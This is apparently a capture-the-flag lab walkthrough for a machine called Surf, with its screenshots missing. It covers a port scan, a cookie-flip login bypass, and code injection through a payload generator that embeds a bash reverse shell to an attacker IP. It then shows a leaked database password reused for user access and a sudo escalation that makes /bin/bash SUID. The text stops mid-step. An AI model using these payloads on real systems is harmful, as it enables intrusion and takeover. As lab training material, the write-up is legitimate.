$ nmap -p- --min-rate 4000 192.168.175.171
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-01 16:06 +08
Nmap scan report for 192.168.175.171
Host is up (0.17s latency).
Not shown: 41614 filtered tcp ports (no-response), 23919 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Surfing Blog -> Login Bypass
Port 80 took so long to load I didn't bother with it. Instead, I started with a gobuster scan:
There's an administration directory present, and when viewed it just shows a login page:
I tried default and weak credentials, but they don't work. When the traffic is viewed in Burp, we can see that there are some tokens being passed around:
The auth_status cookie is just a base64 encoded string of {'success':'false'}. Afterwards, the auth_status cookie is appended to every subsequent login attempt. We can easily replace this with true and be granted access to the admin dashboard:
SSRF -> RCE
Within the website, there isn't much functionality, but there is a 'Check Server Status' function:
We can download and view the RCE exploit to find that the exploit is triggered by sending a request to /infusions/downloads/downloads.php?cat_id=${system(ls)}.
Using the exploit, we can create a payload generator as such:
import base64
PAYLOAD = "bash -c 'bash -i >& /dev/tcp/192.168.45.164/443 0>&1' " # !!spaces are important in order to avoid ==!!
REQUEST_PAYLOAD = "/infusions/downloads/downloads.php?cat_id=$\{{system(base64_decode({})).exit\}}"
PAYLOAD_B64 = base64.b64encode(PAYLOAD.encode('ascii')).decode("ascii")
print(REQUEST_PAYLOAD.format(PAYLOAD_B64))
This would print base64 encoded payload, which we can submit like so:
There are other files in the /var/www file present as well:
www-data@Surf:/var/www$ ls
html server
We can find credentials inside the server file for the user james.
www-data@Surf:/var/www/server/administration/config$ cat config.php
<?php
//Note: This file should be included first in every php page.
error_reporting(E_ALL);
ini_set('display_errors', 'On');
define('BASE_PATH', dirname(dirname(__FILE__)));
define('APP_FOLDER', 'simpleadmin');
define('CURRENT_PAGE', basename($_SERVER['REQUEST_URI']));
require_once BASE_PATH . '/lib/MysqliDb/MysqliDb.php';
require_once BASE_PATH . '/helpers/helpers.php';
/*
|--------------------------------------------------------------------------
| DATABASE CONFIGURATION
|--------------------------------------------------------------------------
*/
define('DB_HOST', "localhost");
define('DB_USER', "core");
define('DB_PASSWORD', "FlyToTheMoon213!");
define('DB_NAME', "corephpadmin");
/**
* Get instance of DB object
*/
function getDbInstance() {
return new MysqliDb(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
}
We can then su to james:
Sudo Privileges
Since we have the password for james, we can check our sudo privileges:
james@Surf:/home$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for james:
Matching Defaults entries for james on Surf:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User james may run the following commands on Surf:
(ALL) /usr/bin/php /var/backups/database-backup.php
This file is owned by www-data and we can write to it:
james@Surf:/home$ ls -la /var/backups/database-backup.php
-rwxr-xr-x 1 www-data www-data 2758 Nov 9 2021 /var/backups/database-backup.php
The exploit would be to write a small snippet making /bin/bash an SUID binary and then executing it as james.
We can use vi to edit the file to include system("chmod u+s /bin/bash");, and then use :wq! to force the save. Afterwards, when we can run the file using sudo as james:
